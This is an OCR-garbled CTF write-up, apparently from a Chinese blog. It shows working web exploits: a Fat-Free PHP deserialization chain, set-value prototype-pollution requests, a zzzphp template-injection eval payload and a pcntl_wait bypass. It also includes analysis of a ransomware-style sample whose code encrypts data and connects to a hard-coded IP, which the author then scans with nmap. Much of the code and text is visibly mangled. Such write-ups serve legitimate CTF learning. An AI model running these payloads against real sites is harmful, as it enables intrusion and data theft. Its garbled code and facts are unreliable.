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SRER. CIF XEHE: EB%4 INFME mooc basetd curl

FRAL A B . AN R REAISCE, BE CC 4.0 BY-SA SRAUHMY, ##iEM EE B M ARSI,
ASCEEE: httpsy/blog.csdnnet/qq 38154820/article/details/108212123

FRAX

. CTF &4 PALEA
A2 FETITH

W%

WEB

Babyunserialize

HEFRINT www.zip
T T R &I F IR

+ fathree
FOLDERS 3 ('lib/base.php');

git F =2
ddea F 2 Erphas b
li 2020/8/5 16:32 i

= ((flo SION<S.8)
PCRE-version-is-out-of-date');

.gitignore
htaccess

71l eompeserjson

/?flag=";

5] configini 2020/8/5 11:12 EfE
B index.php i
readme.md
ﬂ test.php
unserialize($_GET['flag']);

$f3->run();
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H#HexptT
may be you need /?flag=

Internal Server Error

system() has been disabled for security reasons

B A
Systemiitban T #TphpinfoE &


https://hetian.blog.csdn.net
https://blog.csdn.net/qq_38154820/category_9308464.html
https://so.csdn.net/so/search/s.do?q=%25E4%25BF%25A1%25E6%2581%25AF%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%258A%25A0%25E5%25AF%2586%25E8%25A7%25A3%25E5%25AF%2586&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=mooc&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=base64&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=curl&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_38154820/article/details/108212123
https://blog.csdn.net/qq_38154820/category_9308464.html
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=qq_38154820&utm_content=108212123

<?php
namespace DB{

abstract class Cursor implements \IteratorAggregate {}

namespace DB\SQL{
class Mapper extends \DB\Cursor{
protected
$props=["quotekey"=>"call_user_func"],
$adhoc=["phpinfo"=>["expr"=>""]],
$db;
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
function __construct($val){
$this->db = $val;

}

namespace CLI{
class Agent {

protected
$server="";

public $events;

public function __construct(){
$this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
$this->server=8$this;

s
class WS{}
}

namespace {

echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent())));

default mimetype

text/html

text/html

disable_classes

disable_functions

pentl_alarm,pentl_fork pentl_waitpid, pentl_wait,pentl
_wifexited pentl_wifstopped, pentl_wifsignaled pentl_
wifcontinued pentl_wexitstatus, pentl_wtermsig,pentl
_wstopsig,pentl_signal pentl_signal_get_handler,pent
|_signal_dispatch pentl_get_last_error,pentl_strerror,
pentl_sigprocmask pentl_sigwaitinfo,pentl_sigtimed
wait,pentl_exec, pentl_getpriority, pentl_setpriority,pc
ntl_async_signals,system shell_exec passthruexec,po
pen,proc_open,pentl_exec,mail putenv.apache_seten
v,mb_send_mail,dl,set_time_limit,ignore_user_abort,
symlink linkerror_log

pentl_alarm, pentl_fork, pentl_waitpid pentl_wait pent!
_wifexited pentl_wifstopped, pentl_wifsignaled, pentl_
wifeontinued pentl_wexitstatus pentl_wtermsig,pentl
_wstopsig,pentl_signal, pentl_signal_get_handler,pent
|_signal_dispatch,pentl_get_last_error,pentl_strerror,

pentl_sigprocmask pentl_sigwaitinfo,pentl_sigtimed

wait, pentl_exec, pentl_getpriority,pentl_setpriority,pc

ntl_async_signals system,shell_exec passthru,exec po
pen,proc_open,pentl_exec,mail putenv,apache_seten
v,mb_send_mail,dl,set_time_limit,ignore_user_abort,

symlink link,error_log

display_errors

off

off

display _startup_errors

Off

Off

B A
RBEban T 1R % R

R T JUARBAER BT, )5 #Iphpinfoft) i &8 2] T —/Mlag




Environment

HOSTNAME engine-1

PHP_VERSION 7.1.33

APACHE CONFDIR fetc/apache2

PHP_MDS no value

PHP_INI_DIR fusrflocal/etc/php

GPG_KEYS AS17B1ECDAB4AEC2B56BFEDE6FS0ABCE07BDSDCDO 528995BFEDFEAT191D46839EFOBAOADAITCBDESE
1729F83938DA44E27BAOF4D3DBDB397470D12172

PHP_LDFLAGS -WI,-01 -WI,--hash-style=both -pie

PWD froot

APACHE LOG DIR fvarflogfapache2

LANG C

PHP_SHA256 bd7c0a%bd5433289ee01{d440af3715309faf383f7 5832bb4fe169c100d52968

APACHE PID FILE

fvarfrunfapache2/apache2.pid

PHPIZE_DEPS autoconf dpkg-dev file g++ gee libe-dev make pkg-config re2c
TERM xterm

PHP_URL https:/fwww.php.net/get/php-7.1.33 taraz/from/this/mirrar
APACHE RUN_GROUP www-data

ICQ_FLAG flag{b26444a0-bEOf-4bbB-249a-052b5e7362h8}

APACHE _LOCK DIR fvarflock/apache2

PHP_EXTRA_CONFIGURE_ARGS --with-apxs2 --disable-cgi

SHLVL 0

PHP_CFLAGS ~fstack-protector-strong ~fpic ~fpie -02 -D_LARGEFILE_SOURCE -D_FILE_ OFFSET BITS=64
APACHE RUN_DIR fvarfrunfapache2

APACHE ENVVARS [etc/apache2fenvvars

APACHE RUN_USER www-data

PATH fusrflocal/sbin;/usrflocal fbinyfusr fsbin:fusr/bin:/sbin:/bin
PHP_EXTRA_BUILD DEPS apache2-dev
PHP_ASC_URL https:/fwww.php.net/get/php-7.1.33.tarxz.asc/from/this/mirror
PHP_CPPFLAGS fstack-protector-strong -fpic -fpie -02 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
OLDPWD Svarfnww/html
)2y

AR EM@.
flagfei: flag{b26444a0-b80f-4bb8-a49a-952b5e7382b8}

Easyphp

<php

S)e)

SIBBIFIE : php: 7. 4. 8-apache

fpid = peontl fork()
if  (fpid = -1} |

die(’could not fork’ )
telze if (Ppid){

fr=pentl_wait (fetatuz) ;

if (' peont]l_wifexited($=tatus)) |

hpinfoll

1 . v k

telse{

highlight_filei_ FILE__}:

if (izzet ($_GET[ 2 11&bis_string (5_GET[ 2’ 1)&&k! preg_match (" [ %4540 ] |exec|pont 1 1%, $_GET [T 2" 100 {
call user_func_array($_GET[ a" 1. [$_GET['b’ ], false, truel};

1
posix_kill(posix_getpid(),

SIGUSEL)

BHAZA T EMPITHLSRTELR, REFBE £Eforkdi REHERFIRE




Example #1 pentl_fork() 7={7

<?php

$pid = pcntl_fork();
/AGHEIN RS T T RS
if ($pid == -1) {
/RN gl TR AR - 1.
die('could not fork');
}oelse if ($pid) {
/AOHESRR MRS, L ERIHERITOTEE
pentl_wait($status); //SEFHHIERET, PRILFHERAENHE.
} else {
/I FHERREIMSpidhe, FLIEEHHENITRES.

7

B
BT —TFEMRE RIEpidE 188 & <47 phpinfo.

$id = pentl_fork();
if( $pid > @ ){

1/ BRI
echo "Father PID

v UEREHEEILER, TEREA, THENCEEIDEER T LT
sleep( 2 );
} else if( @ == $pid ) {
i/ LEFHREEIf R, SN s, MESBRIR— TR BN ER ED
for( $i = 1; $i <= 18; $i++ ){
sleep( 1 );
/7 posix_getppid() SR E TR A QU D
echo posix_getppid().PHP_EOL;
1
} else {
echo "fork error.”.PHP_EOL;
1
ETEROTE:

OLESE, mifsebr, FEEMGHEEERIDAA129, EENR=HTHE, BT GEECESEmBYH T, FHESFMIULSE, Flint#BlE 7 FEE, Ll FEEMGHEHRED
TRET .

B
REFFSGEEERY, THEZRIVLERRpIdEZ N1, Wit ETHEETEE, A pentl_wait HAT UL
TR, 1kpid3er1.

Payload: ?a=call_user_func&b=pcntl_wait



Environment

Variable Value
HOSTNAME engine-1
PHP_VERSION 7.4.8
APACHE CONFDIR fetc/apache2
PHP_MD5
PHP_INI_DIR fusr/local/etc/php
GPG_KEYS 426T70ATFEAD0A41CBE46323409E4FDCOTAALEFO2D 5A52880781F755608BF815FCO10DEB4GF33EAST2
PHP LDFLAGS -WI,-01 -pie
PWD Svarfeeww/himl
APACHE_LOG DIR fvar/log/apache2
LANG C
PHP_SHA256 642843890b732e8af01cb6612823a20147 2af1402f211c83009c9b3abd073245
FLAG
APACHE_PID_FILE fvar/run/apache2/apache2.pid
PHPIZE_DEPS autoconf dpkg-dev file g++ gce libec-dev make pkg-config re2c
TERM xterm
PHP_URL https://www.php.net/distributions/php-7.4.8.tar.xz
APACHE_RUN_GROUP www-data
ICQ_FLAG flag{4c9c8d9d-1741-4967-ba54-92200d0c3cd5}
APACHE LOCK_DIR fvar/lock/apache2
PHP_EXTRA_CONFIGURE_ARGS --with-apxs2 --disable-cgi
SHLVL 0
PHP_CFLAGS -fstack-protector-strong -fpic -fpie -02 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
APACHE RUN_DIR fvarfrun/apache2
B R

g+ Hflag
flagfE flag{4c9c8d9d-1741-4967-ba54-9e200d0c3cd5}

Littlegame

router.post("”/DeveloperControlPanel”, - function- (req, -res, -next) -{

(req.body.key undefined req.body.password undefined){
res.send("What's-your-problem?");
{
Let-key-=-req.body.key.toString();
Let-password reqg.body.password.toString();
(Admin[key] password){
res.send(process.env.flag);

{

res.send("Wrong-password!Are-you-Admin?");

B h
ITTF AR B T BRIFAS AT LA B B3R A flag ) 2614 2

Admin[key] === password

E— FAImn B KR %



const-Admin-=-{
"passwordl":process.env.pl,

"password2":process.env.p2,
"password3":process.env.p3

B R
Admin B i) =4>password B A FIiE R~ 4 . HEAER RS R, 7 L4 Adminin E—ANE I RE.

router.post("/Privilege", - function-(

(req.session.knight
res.redirect('/SpawnPoint');
{
(req.body.NewAttributeKey in ined req.body.NewAttributeValue
res.send("What's-your-problem?");

key - =-req.body.NewAttributeKey.toString();
Let-value-=-req.body.NewAttributeValue.toString();
setFn(req.session.knight, -key, -value);
res.send("Let's-have-a-check!");

B h
FERXAN B N A —MRERERE. setFn

var - express require('express');
const-setFn require('set-value');
var-router-=-express.Router();
const-COMMODITY -=-{
"sword":-{"Gold":-"20", - "Firepower":-"50"},

"gun":-{"Gold":-"1e@", - "Firepower":-"2e0"}

}

const-MOBS {
"Lvi":-{"Firepower":-"1", -"Bounty":-"1"},

L3P
& — T set-valuee BF IR B 515 4L KR
Overview

set-value & is a package thart creates nested values and any intermediaries using dot notation ('a.b.c") paths.

Affected versions of this package are vulnerable to Prototype Pollution. The function set-value could be tricked into adding or
modifying properties of object.prototype using any of the constructor, prototype and _proto_ payloads.

PoC by Snyk

const setFn = require(’set-value'); const paths = [ 'constructor.prototype.a®', °_ proto_ .al’, ]; function check()

{ for (const p of paths) { setFn({}, p, true); } for (let i = B; i < paths.length; i++) { if (({})[ a%{i} ]
true) { console.log( Yes with ${paths[i]}"); } } } check();

230y
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POST /Privilege HITP/1.1

Host: eci-lzefqismudB5veivyTqq. cloudecil. ichungiu. com: 3388

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent. Nozilla/5.0 (Windows NT 10.0; Vin64, x64) AppleWebEit/337.36 (EHTML, like

Gecko) Chrome/84.0.4147.135 Safari/537.36

Accept:

text/htnl, application/xhtml+xml, application/xnl;q=0. 9, inage/webp, inage/apng, */#; q=0. 8, app

lication/signed-exchange :v=b3:q=0. 9

Accept-Language: zh—CN. zh:¢=0.9

Cookie: UN_distinctid=172¢26904453a9-05fba73de582c6—fTd123e-1£fad00-172c2690446901;

chkphone=acW=lpxhlpDi AchhNuSnEqyviQub 100000 ;

ci_session=2T736e0a23d58fb4a4586ebdecBaci1f08c060752;

Hu_lvt_2d0601bd28de7d49818240e£35d95943=1596777343, 1597024789, 15978230901, 1597895555

Hu_lpvt_2d0601bd28deTd49818249¢c135d95943=1597912328;

sess1on=s%3AVWITHWX 20 jypulllbulQ0I gl ewkXz1E. 19131xET1di TMdF sFukPERIN] I11kx6nlKy0jaM0Ensl;
__jsluid_h=bh9457f07dbSe23796b13b5c20247f1be

Connection: close

Content—Type: application/x-www-form-urlencoded

Content—Length: 52

e

NewAttributeEey=__proto__. testkNewAttributeValue=123

23023
wWE—/MestiB M [E8123

POST /DeveloperControlPanel HITP/1.1

Host: eci-lzefqdsmudBbve jyyTqq. cloudecil. ichungiu. com: 8888

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mezilla/5.0 (Windews NT 10.0: Win64:; x64) AppleWebKit/337.36 (KEHIML, like

Gecko) Chrome/84.0.4147.135 Safari/537. 36

Accept:

text/htal, application/xhtnl+xnl, application/=ml;q=0. 9, inage/webp, image/apng, */* . q=0. B, app

lication/signed-exchange :v=b3:q=0. 9

Accept-Language: zh—CN, zhg=0.9

Cookie: UM_distinctid=172c26904453a8-06fba73ded82c-f7d123e-1fad00-172c2690446901 ;

chkphone=acWxNpxhdpD1AchhNuSnEqyiQuDI00000;

ci_session=2736e0a23d58fbdadbBGebdecBacd1f08c0607E2;

Ho_lvt_2d0601bd28deTd49818249¢£35d95943=1596777343, 1597024789, 1597823901, 1597895555;

Hm_lpwe_2d0601bd28de7d49818249:f35495943=1507912328

session=s%IAVFITH g 20 jypull 1 bula0? qUE cwkX =18, 1913T=ETdi TMAF sFukPERIN] T4 1k 6nlKy0 3 aM0Ensl ;
__3sluid_h=b9457f07db9e23796b13b5c202471 1be

Connection: close

Content-Type: application/z—wwe—form—urlencoded

Content-Length: 21

key=testkpassword=123

BR
T 4 keyMpasswordlit 2 B 7] #k Bt flag ..

flaglti : flag{02599a00-3e98-40a7-a0c8-e806086c45f0)

Rceme

af {$arr [02—’ ’ arr {13=="")

HITP/1.1 200 OK

Date: Thu, 20 Aug 2020 08:38: 15 GNT
Content-Type: text/html: charset=utf-8
Content-Length: 19

Comnection: close

ETag: ¥/"13-0dYSTRITUZKE1bmbvQ0/aJulN4s”
X-Via-JSL: G0£7225.-

X-Cache: bypass

Let’ s have a check!

HITP/1.1 200 OK

Date: Thu, 20 Aug 2020 08:58:18 GMT
Content-Type: text/html; charset=utf-§
Content-Length: 42

Comnection: close

ETag: W/ 2a-YxFERIkgILHDSQCmAzGTPCTUHEY"
X-Via-JSL: 60£7225,-

X-Cache: bypass

flag {02599a00-3e98-40a7-alcB-eB06086c4510}

ﬂﬁ*ﬁﬁi&!ﬂﬂ BRE . $ifstr,” 17}

$ifstr = str_rveplace{ '=, '==", §ifstr I,

H

$ifstr = str_replacef <, "!=", $ifstr }:
$ifstr = str_replace{ ‘or’, '||", $ifstr 3,
$ifstr = str_replace{ ‘and’, &, §ifstr };
$ifstr = str_replace{ “mod’, %, Sifstr ).

fifstr = stx replace{ T T Sifst: i,
if { preg_matchi /\{|1/7. “giestry)

diel” RIEK, HiEFHERABEN, ﬁgiE $ifstr}:
Feleei

Bevall Tif(" . $ifetr . ") [$flag="if" lelse{fflag="else":}" }:

if { preg_matchi /([\a\S]1#) M {elser} ([\erS1#)7/7, $matchesl 2 3L $i ], $matches2 )} )} §

gwitch ( $flag
eass if':
if { isset{ Jmatches2[ 1 I } )
fout_html .= $matches2f{ 1 };
¥
bresk:
came alea’ -

P

E B A PAT T R IR zzzphp1.6. 1 IRTR, (B2 8 E o T i 38 1 s 3



parEEEItLADSLIE VT L ¥ 1

functise danger keylfzh |

i mialchace (5 :

::q«nwt_’ﬂ@;"p&;‘nwﬁ;,'mﬂ'hndn'.'M“‘uﬁ‘,'»ﬁ','cﬂ'.'rmﬂ‘,‘!ilt‘,'eaﬂi-'.'nnm“‘aql‘,‘lkﬂ!','ew'.'!\-rs!n‘,‘dﬂ‘,'mﬂwt'.'3'.'«»1-‘,‘u-=','m11'.'nmw"'inl.‘,‘mm','am'.'nmm‘,‘mlm','nqusr-'.'u-nn‘,‘mm','-
= str_ireplace ey, "37. $uk:

Sdagernagenr( phe' . preg’ . mrevee "okt dieode’ L I TR0 Tpear' et | cimart” T LT " cookie’ | ek’ Tl Tkl ooy it T Bl Temerpp” L et e, T ala Ll a7 k" oot el peeetbew’ " daelude’ | veguic’, et " indon

& bl §
A Leteptr (b Bunt] wstalantd
diaet FAEE . BOTHE. ERARET Ul 100

1
i tpzegantehi’ " Iz lBG5 1
diel EAH- NITHE- EREREE L

veinrn d;

B A
#i& payload

(i)
(hex2bin(dechex(112)).hex2bin(dechex(104)).hex2bin(dechex(112)). hex2bin(dechex(105)).hex2bin(dechex(110
():die();/H{end%20if}

< | 1 d 3
Environment
e [ e
HOSTNAME engine-1
PHP_VERSION 7.318
APACHE CONFDIR Jetefapache2
PHP_MD5 no value
PHP_INI_DIR Jusrflocal/etc/php
GPG_KEYS CBAFG9F173A0FEA4BS37F4T0D66CO593118BCCB6 F38252826ACDI57EF3B0D39F2F7956BCSDAQ4BSD
PHP_LDFLAGS -WI,-01 -pie
PWD Jvarfwewwfhtml
APACHE_LOG DIR [varflog/apache2
LANG C
PHP_SHA256 7b3e2479a8d6fd7666d cdefBaec50d49c4599ccheeBbed8dd1724cfd99cc0e58
FLAG no
APACHE PID FILE Jvarfrunfapache2/apache2.pid
PHPIZE_DEPS autoconf dpkg-dev file g++ gec libe-dev make pkg-config re2c
TERM xterm
PHP_URL https:/fwww.php.net/distributions/php-7.3.18.tarxz
APACHE_RUN_GROUP www-data
1cQ_FLAG flag{438e2428-1314-43bd-b212-e3cfcda3584b}
APACHE_LOCK_DIR Jvarflock/apache2
PHP_EXTRA_CONFIGURE_ARGS --with-apxs2 --disable-cgi
a3

Flagi® &2 7£ phpinfo &L i
flagfg : flag{438e2428-1314-43bd-b212-e3cfcda3584d}

Easytrick

<?php
class trick{
public $trickl:
public $trickZ;
public function __destruct () {

fthiz->trickl = (string)$this->trickl:
if (strlen(fthis—>trickl) > 5 || strleni$this—>trick2) > &)
die("PRAET ")
1
if (fthis—rtrickl '== $this—rtrick2 &b mdb(§this—>trickl) === nd5(fthis—>trick2) &k $this—trickl '= ¥$this—>trick2){

echo file_get_comtents("/flag");
1
1

i
highlight file({_ _FILE _):
unserialize (§_GET[ trick’ 1) ;

A



FTEAA INF SRged JRE 0 F

OPEN FILES e
* test.php o] < :”Php
FOLDERS $a=INF;
fatfree » $b (Strlng)$as
i var_dump($a);
b * var_dump($b);
o var_dump(md5($a));
= .gitignore
[ .htaccess Var_dump(md5($b});|

double(INF)

string(3) - "INF"
string(32)-"9517fdebf8faab55990a4dffe358el13e"
string(32)-"9517fdebf8faab55990a4dffe358el13e"
[Finished-in-©.6s]

S)e)

<?php

class trick{
public $trickil;
public $trick2;

public function _ construct(){
$this->trick1=INF;
$this->trick2=INF;
}
}

echo urlencode(serialize(new trick()));

< C O @ F==| ed-2zely4x958n2vde7w241.cloudecil.ichungiu.com/?trick=0%3A5%3A trick™%3A2%3A% 7 Bs%3A6%3A ™ trick 1 "%3Bd%3AINF¥%3Bs% 3A6% A trick2 "% 3Bd%3AINF% 3B% 7L

<?php
gz trick|
public $trickl:
public $trick2:
public fumetion __destruet(){
$this-rtrickl =
if (strlenifthiz-trickl)
die("fRART"):

is-rtrickl:
5 || strlen(§thiz->trick2) 5) |

1
if (fthiz->trickl !== $thiz->trickl && mdf($this->trickl) === ndS(§this->trick2) &% J$this->trickl != $thiz—>trick2) |
echo file_get_contents (" flag”);

highlight_file( FILE_ )
unserialize (§_CET[ trick’ ). flag{2Ba9fcfd-b322-40a8-a532-72¢1062e07 16}

B
flagff: flag{28a9fcfd-b322-40a8-a532-72c1062e0716}

MISC
&3



Jia: 10 &= 1040

HE(HMERNRlag: flag(ERELFHENE, ENERDSEM. }
B~ |

B
flagfs : flag{Ff43EpFimINE, TNBIRT B, )

the_best_ctf_game

Hxd#T7F, KB AUflag7riss, REXN—D—MTHRK

LFLF) FLF) LFLF) FLF Lia u n n n = = %5 =5 %8 %5 %5 8 858
00 00 00 00  ovvennrrnnsennns 44
00 00 00 00 . ...3099 %97, ... —#3) (8
00 00 00 00 Fuuueereneennnn. s
EQO FE FF FF  vvvnnrrnnnns a5y
00 00 00 00 O%FF..ealeuenn.. Uint8
00 00 00 00  oveentororvernns Int16
00 00 00 00 . ...3099 %97, ... Ulnt16
00 00 00 00 @vvenerrnnrennns
EQ FF FF FF Toreeernnnn. AT Int24
00 00 00 00 °¥¥¥....Qe.e.e.. Ulnt24
gg 00 gg 0 132

00 ... CAVEVUREEY. ...
00 00 00 00 fureurnnsnnnnnns Uint32
EQ FE FF FF  +otaereennes a5y Int64
00 00 00 00 “§§F. .. eBurernn. Ulnted
00 00 00 00  ovvennernnsennns ,
00 00 00 00 ....A990°9¥v.... AnsiChar /
00 00 00 00 Suvenerrnnrennns WideChar
EQ FF FF FF e v a5y —r
00 00 00 00 “§§F. .. e€erenn.. .
00 00 00 00  ovvennrrnnsennns ® EF
00 00 00 00 . ...3099 %97, ... o | O

S)2y
flagy: flag{65e02f26-0d6e-463f-bc63-2df733e47fbe}

B, i 4 R
filed T T, Rext330fF, Fext3grepit /&

$ file disk_dump

disk_dump: Linux rev 1.8 ext3 filesystem data, UUID=4a3914c4-f9cl-4ecy-b -c5554ce2f47f (large files)

B A
HE$# ext3grep --restore-all disk_dump [8] 5 £ #5314



WARNING:

Number of

Minimum / max / 1244

Loading journal de ox. ing ... done

The oldest inode block that i in the journal, appears to be from 1590570902 = Wed Ma

Number of descriptors in jour ; min / max seguence numbers: 5 / 12
g output to d

Loading disk_dump.

Restoring .Tra : _been_removed

Restoring .Tra /1 / .txt.trashinfo

Restoring mi /

Restoring

Restoring

Restoring

Restoring

demo fakeflag.txt  flag.ixt

230y
FE—Mag. T HRIIME T, RdemoX A elffEfF, HE#idad T

&| FlLE TSTream; // |[rsp+eon| | rop-on |
9

18] wa = 34;

11| ws = @;

12| w7 = fopen(argv[1l], "rb™)

13| if ( w7 )

14| {

15 stream = fopen(argv[1], "rb+"};
16 if ( strea

17 {

18 while ( 1 )

19

28 vb = fgetc(v7);

21 if (w6 = -1)

22 break;

23 fputc(vad ~ (v5 + vB), stream);
24 /4 4= 34;

25 /5 = (V5 + 2) & @xF;

26 }

27 fclose(v?

28 fclose(stream);

29 result =

Y }

31 else

32

33 printf({"cannot open file™, "rb+", argv);
34 result = @;

35 }

36| }

37| else

38

39 printf("cannot open this file", "rb", argv);
21| }

42| return result;

43(}

B
WE T NE R, MNEMEREERERE, WADT

12173k 15 flag



A
flaghy: flag{e5d7cded-b8f6-4417-8317-b809Fc26c047)

file=open('flag.txt','rb")
f=file.read()

v4=34

v5=0

flag=""

for i in f:
flag=flag+chr((ord(i)”v4)-v5)
v4=(v4+34)8&Oxff
v5=(Vv5+2)8&0xf

#print flag,v4,v5

print flag

WamaCry1

BHURRERWEE, REE T Mexefin®EiEMflag, HTFE2#EKE, —MSHBIrsan®, M&EEBET AR
B, FriEllexe R BI ARG X flagitfTrsaii®, AHidaFE T Texe, REBETifM[EF, K5 EmEH
THE—/son.exe, BB FE I A MFEIHE, HINEPZME Tsonexe T, AREH T F KX/ son.exe, Hi A
FEWR, B FexeinfoE T F.....

¥ exeinfo PE - ver.0.0.5.4 by AS.L - 1040+76 sign 2019.02.01 — >
File: |student.exe _ - ] J HPn o
Entry Point : [000014C0 | [oo| < EP Section: ol
y File Offset : [000008C0 FirstBytes : (83.EC.0C.C7.0!
C ermp: i - Smrrerta

File Size : 0307EAOOh < N Overay: [NO 00000000

Image is 32bit executable RES/OVL:0/ 0 % 2020

20 ® @ @
EM&EE

[Enigma Virtual Box - v1.30 - 9.20 free - 2010-2018. 10 - www.enigmap|  Scan /¢
Lamer Info - Help Hint - Unpack info
[Org Exe stub has TLS & IAT charged if files inside are notpadted tr| 9

Iv
W

3
Enigma Virtual Box 2 —MTRQTRERF B34, il 2 WX 2 TG Kexe BAKRBI TRABEMIT T BET —
T, 2 —AEnigmaVBUnpacker ) f# (3 54, i . j5 & T3 2] T son.exe



[® ! EnigmaVBUnpacker v0.54 —

[C:WsWawm'ﬁin_w.m‘sttm

=l

FOLDER %\jibwinpthread-1.dll"s /] =0x13800

[+] 37{4%"C:\Users\Administrator \Desktop \EnigmaVBUnpacker_v0.54\%DEFAULT
FOLDER %\opengl32sw.dll”s 77|+ = 0xF41400

[+] 34 C: \Users\Administrator\Desktop\EnigmaVBUnpacdker_v0. 54\%DEFALLT
FOLDER %\QtSCore.dll”s ;7] =0x5DCC98

[+] 37i4%"C:\Users\Administrator \Desktop \EnigmaVBUnpacker_v0.54\%DEFAULT
FOLDER %\Qt5Gui.dl”s /| = 0x5F 1498

[+ 37{4"C:\Users\Adminisirator\Desktop\EnigmaVBUnpacker_v0. 54\%:DEFAULT
FOLDER %:\Qt5Svg.dll®s F#s]s=0x59498

[+] 3Zf4#"C: Wsers\Administrator \Desktop\EnigmaVBUnpacker_v0.54\%DEFAULT
FOLDER %\Qt5Widgets.dl”s /\=0x612898

[+] 37 {4"C: Wsers\Administrator \Desktop\EnigmaVBUnpacker _v0.54\%DEFAULT
FOLDER %\son.exe”s -] =0x2000

[+] BESEET 1 C:\Users\Administrator \Desktop

0
‘amaCry0 » 2%DEFAULT FOLDER%: » v O
=t ) EGE: ==
iconengines 2020/8/20 17:43 Tit=
imageformats 2020/8/20 17:43 prgl=
mod 2020/8/20 17:43 =
platforms 2020/8/20 17:43 ===
translations 2020/8/20 17:43 it
D3Dcompiler_ 47.dll 201473711 18:54 EERETE
ibEGLAI 2019/12/4 4:49 NEEEE
libgec_s_dw2z-1.dll 2015/12/29 6:25 EERETE
ibGLESV2.dIl 2019/12/4 4:49 NEEEE
libstde+ +-6.dll 2015/12/29 6:25 R
libwinpthread-1.4dll 2015/12/29 6:25 MNERETE
opengl32sw.dll 2016/6/14 21:08 EERETE
Qt5Core.dll 2020/8/13 13:26 AR
Qt5Gui.dl 2019/12/4 4:49 R
Qt5Svg.dll 2019/12/4 5:00 R E
Qt5Widgets.dll 2019/12/4 4:49 R
[E] son.exe 2020/8/18 15:27 AR
BR
idaiT JFson.exe, B 74 Bl E B —ANip, REHRHES T T —TF

O #BE"%DEFAULT FOLDER%:"

Fol

3,386 KB
28 KB
118 KB
2,748 KB
1,505 KB
78 KB
15,621 KB
6,004 KB
6,086 KB
358 KB
6,219 KB
36 KB



Address Length Type String
‘s’ .rdata Q000000F C bad allocation
‘s’ .rdata 00000012 C Unknown exception
‘s’ .rdata 00000015 C bad array new lenzth
‘s’| .rdata anoo000s C bad cast
‘s’ .rdata 00000008 C publkey. pen
C GetComputerName fail %1d)yn

0000001E

:0---
:0...
:0---
:0...
:0---
:0...
[ 210 0000000 F  C  120.53.241.181
; (0 DO00000E [ comnect fallyn
‘s’ rdata: 0 00000012 C cormect success!in
5] .rdata:0- 00000005  C flag
‘s’ Lrdata:Qe 00000018 C invalid string pesition
E .rdata:0- 00000010 C vector too long
‘s’ Lrdata:Qe 00000010 C string too long
‘s’ rdata:Qes 00000005 C GCTL
‘s’ Lrdata:Qe 00000009 C Ltextddl
‘s’ Lrdata:0- 00000009 C . textinn
‘s’ Lrdata:Qe 0000000C C . textinndoo
m S R T aTaTlatalatatalnl el [FRY . .
B A
13| woid *v13; // rcx
14| _ inte4 v15; // [rsp+36h] [rbp-68h]
15| dint v16; // [rsp+38h] [rbp-6@h]
16| _ inte4 v17; // [rsp+d4eh] [rbp-58h]
17| woid *Memory[2]; // [rsp+48h] [rbp-58h]
18| _ int128 v19; // [rsp+58h] [rbp-48h]
19
28| w3 = az;

21| w4 = alj

43 *(_QWORD *)&19 = @i64;
44 *((_QWORD *)&19 + 1) = 15i64;
a5 1ORYTE( MemnruTATY = @:

o

B
MR, BRFBHBSEMLrsain®, RENET TREE,

22| vl alj;

23| *{_QWORD *)(al + 16) = @i64;

24| *(_QWORD *)(al + 24) = 15i64;

25| *{ _BYTE *)al = @

26| vie = 1;

27| wis = @is4;

28| if ( a3[3] »= @xleuisd )

29 a3 = {_QWORD *)*a3;

38| w5 = BIO_new_mem_buf(a3, @xFFFFFFFFi64);

31| RSA new();

32| w15 = PEM_read_bic_ RSAPublicKey(vs, &v15, @isd, @isd);
33| w6 = (signed int)((unsigned _ inte4)RSA size(vlS) + 1);
34| w7 = malloc(we);

35| memset(v7, @, w&);

36| w8 = v3;

37| if ( (unsigned _ int64)v3[3] »= @x16@ )

38 vE = (__inted *)*y3;

39| vo = 1;

48| v1@ = RSA public_encrypt(*((unsigned int *}v3 + 4), v8, v7, vl
41| if { vie >= 8 )

22| {

BRI EE,

T4 LB BRI AR T



5o|LABEL 33:

60 invalid parameter noinfo_noreturn();
61| ¥

62 = socket(2, 1, 6);

63| *{_QWORD *)& .sa_data[6] = 0i64;

64 .sa_family = 2;

65| *{_DWORD *)& .sa_data[2] = inet_addr("120.53.241.181");
66 *{_WORD *) .sa_data = htons(12345u);

67| while ( connect(vd, & , 16) == -1)

68| {

69 sub_l148881e8e(( inted)"connect fail\n");

70 Sleep(@x3E8u);

71|}

72| sub_140001080(( intod)"connect success!\n");
73| *(_OWORD *) = Bind;

74 = Bind;

75 = Bind;

7h = ATRL-

B
KB BT It IR 55 4 1) 123458, 1,5 8 B B 2 T AR, A5 Rt B e REVs XM bk 25 8, R B Vi
5] 12345%3 1,2 fenmap#a T T

RITF 7 8080,8h 518 T T

:~# nmap -p 0-20000 120.53.241.181
Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-20 19:13 CST
Nmap scan report for 120.53.241.181
Host is up (0.852s latency).

Not shown: 19984 closed ports
PORT STATE SERVICE
22/tcp open ssh

135/tcp red msrpc
137/tcp iltered netbios-ns
138/tcp i netbios-dgm
139/tcp netbios-ssn
445/tcp ilte microsoft-ds
593/tcp i http-rpc-epmap
901/tcp iltered samba-swat
1025/tcp filtered NFS-or-IIS
2745/tcp filtered urbisnet
3127/tcp fi d ctx-bridge
3128/tcp squid-http
4444 /tcp filte krb524
5554/tcp fi sgi-esphttp
6129/tcp filtered unknown

6667 /tcp irc

8080/tcp open http-proxy

2
